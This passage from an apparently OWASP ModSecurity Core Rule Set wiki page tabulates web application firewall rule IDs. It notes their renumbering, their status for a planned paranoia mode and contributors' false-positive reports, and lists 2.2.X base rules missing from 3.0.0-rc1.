  | Christian's 2.2.X experience: frequently false positives. Walter: low FP&lt;br /&gt;
|-&lt;br /&gt;
  | 973333&lt;br /&gt;
  | gone -&amp;gt; 941340 &lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981172&lt;br /&gt;
  | gone -&amp;gt; 942420 &lt;br /&gt;
  | Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: very high FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981173&lt;br /&gt;
  | gone -&amp;gt; 942430 &lt;br /&gt;
  | Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: very high FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981231&lt;br /&gt;
  | gone -&amp;gt; 942440 &lt;br /&gt;
  | SQL Comment Sequence Detected.&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: high FP but rule seems useful&lt;br /&gt;
|-&lt;br /&gt;
  | 981240&lt;br /&gt;
  | 942300&lt;br /&gt;
  | Detects MySQL comments, conditions and ch(a)r injections&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981242&lt;br /&gt;
  | 942330&lt;br /&gt;
  | Detects classic SQL injection probings 1/2&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: one quote character already matches?? Walter: low FP, but seen in cookies injected by some US ISPs; &lt;br /&gt;
|-&lt;br /&gt;
  | 981243&lt;br /&gt;
  | 942370&lt;br /&gt;
  | Detects classic SQL injection probings 2/2&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: medium FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981244&lt;br /&gt;
  | 942180&lt;br /&gt;
  | Detects basic SQL authentication bypass attempts 1/3&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP; &amp;lt;br/&amp;gt; discussion did not bring up additional arguments. Moving to paranoia mode&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001890.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 981245&lt;br /&gt;
  | 942260&lt;br /&gt;
  | Detects basic SQL authentication bypass attempts 2/3&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: medium FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981246&lt;br /&gt;
  | 942340&lt;br /&gt;
  | Detects basic SQL authentication bypass attempts 3/3&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: medium FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981248&lt;br /&gt;
  | 942210&lt;br /&gt;
  | Detects chained SQL injection attempts 1/2&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: low FP, &amp;lt;br/&amp;gt; discussion did not bring up any additional arguments. Moving to paranoia mode&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001890.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 981249&lt;br /&gt;
  | 942310&lt;br /&gt;
  | Detects chained SQL injection attempts 2/2&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP but seen in very specific situations&lt;br /&gt;
|-&lt;br /&gt;
  | 981257&lt;br /&gt;
  | 942200&lt;br /&gt;
  | Detects MySQL comment-/space-obfuscated injections and backtick termination&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: medium FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981260&lt;br /&gt;
  | gone -&amp;gt; 942450 &lt;br /&gt;
  | SQL Hex Encoding Identified&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: high FP in long random strings&lt;br /&gt;
|-&lt;br /&gt;
  | 981318&lt;br /&gt;
  | 942110&lt;br /&gt;
  | SQL Injection Attack: Common Injection Testing Detected&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Franziska's candidate: one quote character at the beginning/end really not legitimate? Walter 2.2.X candidate: frequent FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981319&lt;br /&gt;
  | 942120&lt;br /&gt;
  | SQL Injection Attack: SQL Operator Detected&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: very short operators or strings already match. Walter: some FP (WooCommerce)&lt;br /&gt;
|-&lt;br /&gt;
  | 981049&lt;br /&gt;
  | 912100&lt;br /&gt;
  | Potential Denial of Service (DoS) Attack from ... - # of Request Bursts: ...	   &lt;br /&gt;
  | cloning-confirmed	&lt;br /&gt;
  | limit currently at 2; could be set to 1; now, the attacker has to exceed dos_counter_threshold twice. With full reset of counter after first hit. Source: 2.2.X-&amp;gt;experimental rules&lt;br /&gt;
|-&lt;br /&gt;
  | 960901          &lt;br /&gt;
  | 920270			&lt;br /&gt;
  | Invalid character in request&lt;br /&gt;
  | cloning-confirmed	&lt;br /&gt;
  | @validateByteRange 1-255; there was a conditional rule with stricter byterange 32-126 in 2.2.X as well&lt;br /&gt;
|-&lt;br /&gt;
  | 970003          &lt;br /&gt;
  | 951100			&lt;br /&gt;
  | none					   					   &lt;br /&gt;
  | cloning-confirmed	&lt;br /&gt;
  | rule is only setting tx.sql_error_match. Could also trigger score directly&lt;br /&gt;
|-&lt;br /&gt;
  | 950907          &lt;br /&gt;
  | 932100			&lt;br /&gt;
  | Remote Command Execution (RCE) Attempt					   	   &lt;br /&gt;
  | cloning-confirmed	&lt;br /&gt;
  | rule is only triggering in combination with chained rule. Could trigger on its on&lt;br /&gt;
|-&lt;br /&gt;
  | 958977          &lt;br /&gt;
  | 933110			&lt;br /&gt;
  | PHP Injection Attack: Function Name Found					    &lt;br /&gt;
  | cloning-confirmed&lt;br /&gt;
  | rule is only triggering in combination with chained rule. Could trigger on its on&lt;br /&gt;
|-&lt;br /&gt;
  | 958979          &lt;br /&gt;
  | 933120			&lt;br /&gt;
  | PHP Injection Attack: Configuration Directive Found				    &lt;br /&gt;
  | cloning-candidate&lt;br /&gt;
  | rule is only triggering in combination with chained rule. Could trigger on its on&lt;br /&gt;
|-&lt;br /&gt;
  | 950001          &lt;br /&gt;
  | 942150			&lt;br /&gt;
  | SQL Injection Attack					   			    &lt;br /&gt;
  | cloning-confirmed&lt;br /&gt;
  | rule is only triggering in combination with chained rule. Could trigger on its on&lt;br /&gt;
|-&lt;br /&gt;
  | 950907&lt;br /&gt;
  | 932100&lt;br /&gt;
  | System Command Injection&lt;br /&gt;
  | dropped&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: false positives possible because of @pmf, file with short cmds. Discussion evolved about splitting the file, which everybody thinks is a good idea. But that would be outside the scope of the introduction of the paranoia mode. So the rule stays in the standard set of rules for the time being and will be split in the future [http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001886.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 900050&lt;br /&gt;
  | 910100&lt;br /&gt;
  | Client IP is from a HIGH Risk Country Location.&lt;br /&gt;
  | dropped&lt;br /&gt;
  | Franziska's candidate: Do we want to exlude countries? But then easy to configure. Discussion pointed out this as an effective rule. We leave it in the standard rules, but provide an empty country list by default [http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001951.html Link to discussion]. [https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/284 Separate pull request]&lt;br /&gt;
|-&lt;br /&gt;
  | 960017&lt;br /&gt;
  | 920350&lt;br /&gt;
  | Host header is a numeric IP address&lt;br /&gt;
  | dropped&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: Not every legitimate client behaves correctly. Walter's experience: low FP (almost all are mass scans); &amp;lt;br/&amp;gt; Discussion concluded that legitimate use of numeric IP addresses is rare. This is really mostly mass scanners. Rule will be kept in standard set of rules&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001888.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 958977&lt;br /&gt;
  | 933110&lt;br /&gt;
  | PHP Injection Attack: Function Name Found&lt;br /&gt;
  | dropped&lt;br /&gt;
  | Franziska's candidate: false positives possible because of @pmf, file with short function names. Maybe we should split the data file. The discussion revealed that splitting the data file in a clean way is very difficult. Walter Hop volunteered to rework the php rules completely. Chaim might join that effort.&lt;br /&gt;
|-&lt;br /&gt;
  | 958979&lt;br /&gt;
  | 933120&lt;br /&gt;
  | PHP Injection Attack: Configuration Directive Found&lt;br /&gt;
  | dropped&lt;br /&gt;
  | Franziska's candidate: false positives possible because of @pmf, file with short configuration directives. Splitting file?  The discussion revealed that splitting the data file in a clean way is very difficult. Walter Hop volunteered to rework the php rules completely. Chaim might join that effort.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Rules from 2.2.X, missing in 3.0.0-rc1===&lt;br /&gt;
&lt;br /&gt;
It looks as if only the base_rules made it into 3.0.0. In fact there are a few rule ids know from the optional and experimental rule folders in 2.2.X, but it is more likely, these are new 3.0.0 rules reusing old rule ids as the rules (regexes and msg) do not match at all.&lt;br /&gt;
&lt;br /&gt;
When trying to generate the list below, be aware that the rule ids have been renumbered between 3.0.0-dev and 3.0.0-rc1. IdNumbering.csv in your friend.&lt;br /&gt;
&lt;br /&gt;
====Base rules====&lt;br /&gt;
&lt;br /&gt;
{|- class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
  |'''2.2.X rule id'''&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''msg'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''remarks'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
  | 950002&lt;br /&gt;
  | System Command Access&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950006&lt;br /&gt;
  | System Command Injection&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950007&lt;br /&gt;
  | Blind SQL Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950008&lt;br /&gt;
  | Injection of Undocumented ColdFusion Tags&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950010&lt;br /&gt;
  | LDAP Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950011&lt;br /&gt;
  | SSI injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950018&lt;br /&gt;
  | Universal PDF XSS URL Detected.&lt;br /&gt;
  | Walter: medium FP (foo.pdf#javascript)&lt;br /&gt;
|-&lt;br /&gt;
  | 950019&lt;br /&gt;
  | Email Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950908&lt;br /&gt;
  | SQL Injection Attack.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950921&lt;br /&gt;
  | Backdoor access&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 950922&lt;br /&gt;
  | Backdoor access&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958000&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958001&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958002&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958003&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958004&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958005&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958006&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958007&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958008&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958009&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958010&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958011&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958012&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958013&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958016&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958017&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958018&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958019&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958020&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958022&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958023&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958024&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958025&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958026&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958027&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958028&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958030&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958031&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958032&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958033&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958034&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958036&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958037&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958038&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958039&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958040&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958041&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958045&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958046&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958047&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958049&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958051&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958052&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958054&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958056&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958057&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958059&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958291&lt;br /&gt;
  | Range: field exists and begins with 0.&lt;br /&gt;
  | Walter: high FP (Chrome PDF viewer) and not useful.&lt;br /&gt;
|-&lt;br /&gt;
  | 958404&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958405&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958406&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958407&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958408&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958409&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958410&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958411&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958412&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958413&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958414&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958415&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958416&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958417&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958418&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958419&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958420&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958421&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958422&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958423&lt;br /&gt;
  | Cross-site Scripting (XSS) Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 958976&lt;br /&gt;
  | PHP Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 959070&lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 959071&lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 959072&lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 959073&lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 960014&lt;br /&gt;
  | Proxy access attempt&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 960018&lt;br /&gt;
  | Invalid character in request&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 960020&lt;br /&gt;
  | Pragma Header requires Cache-Control Header for HTTP/1.1 requests.&lt;br /&gt;
  | Walter: some FP&lt;br /&gt;
|-&lt;br /&gt;
  | 960022&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 960024&lt;br /&gt;
  | Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters&lt;br /&gt;
  | Walter: many FP&lt;br /&gt;
|-&lt;br /&gt;
  | 960902&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 960913&lt;br /&gt;
  | Invalid request&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970007&lt;br /&gt;
  | Zope Information Leakage&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970008&lt;br /&gt;
  | Cold Fusion Information Leakage&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970010&lt;br /&gt;
  | ISA server existence revealed&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970011&lt;br /&gt;
  | File or Directory Names Leakage&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970012&lt;br /&gt;
  | Microsoft Office document properties leakage&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970016&lt;br /&gt;
  | Cold Fusion source code leakage&lt;br /&gt;
  | Walter: some FP but not using this language&lt;br /&gt;
|-&lt;br /&gt;
  | 970018&lt;br /&gt;
  | IIS installed in default location&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970021&lt;br /&gt;
  | WebLogic information disclosure&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 970903&lt;br /&gt;
  | ASP/JSP source code leakage&lt;br /&gt;
  | Walter: some FP but not using this language&lt;br /&gt;
|-&lt;br /&gt;
  | 973300&lt;br /&gt;
  | Possible XSS Attack Detected - HTML Tag Handler&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973301&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973302&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973303&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973304&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973305&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973306&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973307&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973308&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973309&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973310&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973311&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973312&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973313&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973314&lt;br /&gt;
  | XSS Attack Detected&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973316&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973325&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973327&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973328&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973329&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973330&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973331&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973332&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973333&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 973334&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | Walter: many FP in text&lt;br /&gt;
|-&lt;br /&gt;
  | 973335&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | Walter: many FP in text&lt;br /&gt;
|-&lt;br /&gt;
  | 973347&lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981000&lt;br /&gt;
  | Possibly malicious iframe tag in output&lt;br /&gt;
  | Walter: medium FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981001&lt;br /&gt;
  | Possibly malicious iframe tag in output&lt;br /&gt;
  | Walter: medium FP (iframes with display:none)&lt;br /&gt;
|-&lt;br /&gt;
  | 981003&lt;br /&gt;
  | Malicious iframe+javascript tag in output&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981004&lt;br /&gt;
  | Potential Obfuscated Javascript in Output - Excessive fromCharCode&lt;br /&gt;
  | Walter: many FP (Wordpress 4.4 inlined emoji javascripts); folinic: Problem solved in WP: https://core.trac.wordpress.org/ticket/35412&lt;br /&gt;
|-&lt;br /&gt;
  | 981005&lt;br /&gt;
  | Potential Obfuscated Javascript in Output - Eval+Unescape&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981006&lt;br /&gt;
  | Potential Obfuscated Javascript in Output - Unescape&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981007&lt;br /&gt;
  | Potential Obfuscated Javascript in Output - Heap Spray&lt;br /&gt;
